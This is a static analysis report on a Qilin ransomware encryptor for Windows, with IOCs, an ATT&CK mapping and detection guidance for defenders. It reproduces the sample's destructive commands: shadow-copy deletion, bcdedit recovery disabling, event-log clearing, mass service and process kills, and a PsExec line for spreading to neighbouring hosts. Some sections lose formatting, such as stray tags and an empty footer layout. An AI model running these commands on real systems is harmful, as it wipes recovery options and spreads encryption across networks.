Qilin win_enc encryptor
A keyed Rust encryptor for Windows. It disables recovery, stops backup and database services, encrypts local and network files with ChaCha20, and wraps each file key with an embedded RSA-2048 public key.
Summary
.jtu5s6r--keyThe binary needs an activation key. The key decrypts an embedded blob that holds the ransom note, and a wrong key stops the run before any system change. Encrypted files get the extension .jtu5s6r and a note named RECOVER-jtu5s6r-DATA.txt. Only the operators hold the RSA private key, so a decryptor cannot be built from this sample.
Sample identification
| Property | Value |
|---|---|
| SHA-256 | 56e1d092c07322d9dad7d85d773953573cc3294b9e428b3bbbaf935ca4d2f7e7 |
| MD5 | 59d756280b06cf113ca43abc0050edd5 |
| Imphash | d5bbe0ab32fe5cd8bfc57bbea724fe95 |
| Size / format | 7,363,640 bytes · PE32+ x86-64 console · 10 sections · stripped, Rust symbols retained |
| Toolchain | Rust (rustc 129f3b9964af…), built under /root/.cargo, so cross-compiled on Linux |
| Entropy | 6.30 overall, not packed |
| Crates | chacha20 0.9.1 · rsa 0.7.2 · sha2 0.10.8 · rand 0.8.5 · base64 0.21.7 · clap 2.34.0 · threadpool 1.8.1 · regex 1.10.4 · zeroize |
| Imports | Small, Rust std style: file and process APIs, Winsock, BCryptGenRandom. No service-control, Restart Manager or crypto-API imports; all crypto is in the binary. |
Command line C
| Option | Meaning |
|---|---|
--key KEY | Required. Activation key, exactly 44 characters |
-p, --path | File or directory to encrypt |
-s, --sleep | Delay in seconds before acting |
--no_local | Skip local data |
--no_net | Skip network data |
--no_impl | Do not use impersonation |
--no_notes | Do not write ransom notes |
Execution flow
From win_enc::main, run_command and check_key_and_get_rec_text.
- Parse arguments with
clap. C - Validate the key. C
- The key must be 44 characters: a 32-byte ChaCha20 key plus a 12-byte nonce. I
- It decrypts the embedded 323-byte base64 blob, then base64-decodes the result to UTF-8 text, which is the ransom note.
- The text must contain the marker
***is_ok***. Otherwise the sample prints "Key is invalid" and exits.
- Impersonate unless
--no_implis set, through two unnamed helper functions. U - Sleep for
--sleepseconds. C - Inhibit recovery. Each command runs as
cmd /C …withCREATE_NO_WINDOW. Cfsutil behavior set SymlinkEvaluation R2L:1andR2R:1iisreset.exe /stopvssadmin.exe Delete Shadows /all /quietandwmic.exe Shadowcopy Deletebcdedit /set {default}andbcdedit /set {default} recoveryenabled Noreg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /fwevtutil.exe clon every log- PowerShell
Get-VM | Stop-VM -Force(the$excludedVMslist is empty)
- Stop services and kill processes. C
net stop <name> /yover about 120 service namestaskkill /IM <name> /Fover about 125 process namessc stopfor every running service
- Encrypt local data unless
--no_local: list drives, walk files, send them to a 50-thread pool that callsencrypt_file. C - Encrypt network data unless
--no_net. Carp -alists neighbors and a regex extracts IPv4 addresses. For each address,cmd /C net view \\<ip>lists its shares (output captured). A separatecmd /C chcp 65001 >nulruns first.- A batch file is written, run with
cmd, then deleted. - The sample copies itself to
C:\Users\Public\<its own file name>. C - The embedded PsExec is dropped to
C:\Users\Public\psexec0.exe. - Reconstructed command:
psexec0.exe \\<host> -accepteula -s -d "<copy path> <original arguments>" --no_impl. The arguments are the sample's own command line, so--keyis probably forwarded. I - A second 50-thread pool fans out. Nothing in the code copies the payload to the remote host (no
-c, noxcopy,robocopy,net useorC$strings), so the copy path must already exist on each target. U --no_implsits outside the quotes; whether PsExec passes it to the payload is unknown. U
- Write the note
RECOVER-jtu5s6r-DATA.txtin each directory unless--no_notes. C
Network behavior
The sample has no network code of its own. Every network action goes through Windows tools. No broadcast, multicast or command-and-control traffic was found in the binary. This is static analysis only; no traffic was observed.
| Activity | Protocol and scope | Source |
|---|---|---|
arp -a | Reads the local ARP cache; sends no packets itself | Sample runs the command |
net view \\<ip> | Unicast to one host at a time, SMB (TCP 445). If Windows must resolve a name it may use NetBIOS (UDP 137, TCP 139), which can broadcast | Sample runs the command; any NetBIOS traffic comes from Windows |
| PsExec to each host | Unicast SMB (TCP 445), then a named pipe to PSEXESVC | Embedded Sysinternals PsExec |
| Encryption of network files | SMB file access to shares the token can reach | Standard file I/O |
Checked in the binary
- No
255.255.255.255, multicast (224.0.0.x,239.255.x.x) orff02::string, and no0.0.0.0or127.0.0.1. - No IPv4 literal, domain,
.onionaddress or URL for the sample to contact. Thehttps://strings belong to Rust libraries. - The imported socket functions (
sendto,connect,getaddrinfo,setsockopt) are used only by Rust standard library code (UdpSocket::send_to,Socket::connect,LookupHost), which has no direct callers: linked but apparently unused. I Indirect calls would not show in the caller list, so this is not proven.
Expected on the wire: SMB connections (TCP 445) from the infected host to many neighbors in turn, PSEXESVC installs on those hosts, and no beaconing or broadcast storms. I No leak-site or negotiation address is stored in plain text; any such address is probably in the encrypted ransom note, which the victim reads.
File encryption
Per-file algorithm
- Generate a random 32-byte key and 12-byte nonce with
OsRng. C - Skip the file if its name is the note name, its extension is
jtu5s6r, or its last 7 bytes are alreadyjtu5s6r. C - Rename
filetofile.jtu5s6rand encrypt it in place through 8 KiB buffers. C - Choose a mode and encrypt with ChaCha20 (
expand 32-byte k). I - Append the 276-byte footer, then write the note into the directory. C
Footer layout I
Mode selection I
| Mode | Condition | Behavior |
|---|---|---|
0 | File under 100 MiB | Full encryption in 2 MiB chunks |
3 | Extension in the document, database or image list | 2 MiB blocks, up to 100 per round, stride size/20 |
2 | Default for files of 100 MiB or more with other extensions | 1 MiB blocks, stride size/30 |
1 | Handled by the dispatcher, not chosen by encrypt_file | 1 MiB blocks, stride size/15 |
Mode 3 wins over mode 0, but a small listed file still ends up fully encrypted because it fits in one block. The exact stride semantics of modes 1 to 3 are unverified. U
Listed extensions: sql, doc, rtf, xls, jpg, jpeg, png, gif, webp, tiff, psd, raw, bmp, pdf, docx, docm, dotx, dotm, odt, xlsx, xlsm, xltx, xltm, xlsb, xlam, ods, pptx, pptm, potx, potm, ppsx, ppsm, odp, mdf, txt.
Embedded RSA public key C
-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA7cu+Khl+gDf5QWsaPS+6 WkRgKUjnkvz+ZVL0HDDCGy6z5Qe59vwONZlvp/10nO7ZcsXLD7uKEiO9eS0l0E8o PgPD9EipHyNIz6KRks28D6Ciq9txrgwbiqDhh4EcCroeRVWXDJgQFkztWgaHVBCP ks4JOC0MKAVqm0LPuEyx+EnPlzcbsLDyU0Ryh7Ti7WyEX+4QPyQ250i4o1lO54v0 UD5aHppAl3BfgwSI+QvdKa0/D28H6eRSQWS5g0UyWUuOxwNZ9KcT9edqtzPNdlou ZOPsVaDElJdc06TvUwSpr1rOzwkhClZr/WXgEYKtu7UDs0ral0O2TOdVVx6A4S8I 2QIDAQAB -----END PUBLIC KEY-----
RSA cannot be attacked at this size. The OAEP hash (SHA-256 or SHA-512) is not determined. U
Embedded tooling C
A hex-encoded PE is stored in the binary and written to C:\Users\Public\psexec0.exe. It is a Sysinternals PsExec: 32-bit, 716,176 bytes, with the Sysinternals licence text and the psexec.pdb and psexesvc.pdb paths in its strings.
Indicators of compromise
Host artifacts
- Extension
.jtu5s6rand noteRECOVER-jtu5s6r-DATA.txt - Dropped file
C:\Users\Public\psexec0.exe, and a temporary.batfile that is written and then deleted - Last 7 bytes of an encrypted file are
jtu5s6r
Behavioral
- Several recovery-inhibition commands (
vssadmin,wmic,bcdedit,wevtutil cl, manynet stop) from one parent process within seconds arp -a, thencmd /C net view \\<ip>for each address found, from the same processpsexec0.exe \\<host> -accepteula -s -d …against many hosts in quick succession- Registry write
LanmanServer\Parameters\MaxMpxCt = 65535 - High file rename rate with a new extension, across 50 threads
This build has no domain, credential, .onion address or leak-site string. The ransom text sits in the encrypted blob.
Targeted services, processes and paths C
Services (partial)
veeam* Veeam*Svc backup* memtas mepocs sql$ mysql mysql$ sophos MSExchange* WSBExchange PDVFSService BackupExec* Gx* (CommVault) SAP* QB* (QuickBooks) AcronisAgent AcrSch2Svc DefWatch ccEvtMgr ccSetMgr SavRoam RTVscan zhudongfangyu stc_raw_agent CASAD2DWebSvc CAARCUpdateSvc MSSQLSERVER SQLSERVERAGENT SQLBrowser MSSQLServerOLAPService ReportServer MsDtsServer SQLWriter WSearch wuauserv eventlogProcesses (partial)
agntsvc dbeng50 dbsnmp encsvc excel firefox infopath isqlplussvc msaccess mspub notepad ocautoupds ocomm ocssd onenote oracle outlook powerpnt sql steam synctime thunderbird visio winword wordpad xfssvccon *sql* bedbh vxmon benetns bengien beserver TeamViewer* tv_w32 tv_x64 CVMountd cvd saphostexe saposcol sapstartsrv avagent avsccNever encrypted
Files *.exe *.dll *.sys *.lnk *.ini *.inf *.pol *.cmd *.ps1 *.vbs *.bat *.drv *.msc *.msu *.lock *.search-ms pagefile.sys hiberfil.sys NTUSER.DAT autorun.inf boot.ini desktop.ini. Directories Windows.old, $Windows.~WS, $Windows.~BT, System Volume Information, Boot, PerfLogs, parts of Program Files*, ProgramData\Microsoft\*, AppData\Local\Temp and others.
MITRE ATT&CK mapping
| Technique | Evidence |
|---|---|
| T1486 Data Encrypted for Impact | ChaCha20 with RSA-OAEP key wrapping |
| T1490 Inhibit System Recovery | vssadmin, wmic, bcdedit |
| T1489 Service Stop | net stop, sc stop, taskkill, Stop-VM |
| T1070.001 Clear Windows Event Logs | wevtutil cl |
| T1135 / T1018 Share and remote system discovery | net view, arp -a |
| T1021.002 / T1569.002 SMB and service execution | PsExec -s |
| T1134 Access Token Manipulation | Impersonation helpers (unverified) |
| T1059.003 Windows Command Shell | cmd /C with hidden window |
| T1027 / T1140 Obfuscated or encoded payload | Encrypted note blob, hex-encoded embedded PE |
Detection and response
- Alert on several recovery-inhibition commands from one parent process within a few seconds.
- Block or alert on
C:\Users\Public\psexec0.exeand on PsExec started with-accepteula -s -dfrom that path. - Hunt for files ending in
jtu5s6rand forRECOVER-jtu5s6r-DATA.txt. - File signatures: the strings
jtu5s6r,RECOVER-,-DATA.txt,***is_ok***,win_enc,no_impl, and the public key above. - Restore from offline backups. The sample carries only a public key. Pursue the keystream-reuse lead only with real ciphertext and a known original.
Open items
| Item | Status |
|---|---|
| Activation key and ransom text | U Not available |
| How the payload gets onto each target (no copy code found) | U |
Whether --key is passed to the PsExec-launched copy (probably, through the copied argument list) | I |
| The two unnamed impersonation helpers | U |
| Block semantics of modes 1 to 3, and the OAEP hash | U |
| Keystream reuse against real output | I Model only |
| Dynamic confirmation | U Needs an isolated VM, which was not set up |
A Python model of the container (throwaway RSA key, synthetic files) round-trips for modes 0 to 3. That shows the model is self-consistent. It does not validate the format against the sample.